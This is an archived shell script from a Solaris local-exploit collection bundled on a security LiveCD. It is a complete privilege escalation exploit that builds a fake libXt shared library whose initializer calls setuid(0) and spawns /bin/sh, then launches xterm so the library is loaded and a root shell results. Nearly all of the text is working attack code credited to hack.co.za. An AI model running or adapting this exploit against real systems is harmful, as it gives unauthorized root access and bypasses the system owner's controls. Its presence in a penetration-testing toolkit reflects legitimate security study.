home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / x11r4.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  374b  |  19 lines

  1. #!/bin/sh
  2.  
  3. mkdir /tmp/xyzzy
  4. cd /tmp/xyzzy
  5. cat > Initialize.c << EOF
  6. _XtAppInitialize() { setuid(0);
  7. execl("/bin/sh","sh",0);}
  8. XtAppSetFallbackResources() {}
  9. _XtDisplayInitialize() {}
  10. EOF
  11. ar x /usr/lib/libXt.a
  12. cc -c -pic Initialize.c
  13. ld *.o
  14. mkdir lib lib/X
  15. mv a.out lib/X/libXt.so.4.1
  16. cd lib/X
  17. xterm
  18. whoami
  19. #                 www.hack.co.za           [2000]#